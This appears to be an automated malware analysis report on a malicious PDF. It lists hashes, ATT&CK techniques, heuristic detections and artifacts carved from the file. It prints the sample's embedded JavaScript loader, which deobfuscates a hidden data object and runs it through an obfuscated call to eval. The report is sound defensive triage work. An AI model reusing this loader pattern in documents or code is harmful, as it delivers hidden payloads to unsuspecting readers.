PDF malware analysis — malicious · 284b918b9ca57769

MALICIOUS

PDF

5.8 KB First seen: 2026-05-08

MD5: 6f88211b231e6578cc068c75eff651af SHA-1: a363a83a927b9dacec97fe02ba9255a1409e0742 SHA-256: 284b918b9ca57769a279b53e327df1776a972af1dc61110a45ef94e8c7c9efac

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The PDF file contains embedded JavaScript and an embedded binary file. The JavaScript stream is likely responsible for executing or extracting the embedded file, which is a common technique for delivering second-stage malware. The heuristics indicate the presence of JavaScript actions and embedded files, supporting this assessment.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x3D6	148050 bytes
SHA-256: `a275c7ca01f8ce3476200d293d69170652e641295d89849473145acafde30415`
Detection ClamAV: No threats found Obfuscation or payload: likely 330 of 330 identifiers look randomly generated (e.g. 'F9ybcZiFV4dWP0j8h1F9ybcZiFV4dWP0j8h2F9yb') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A0	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

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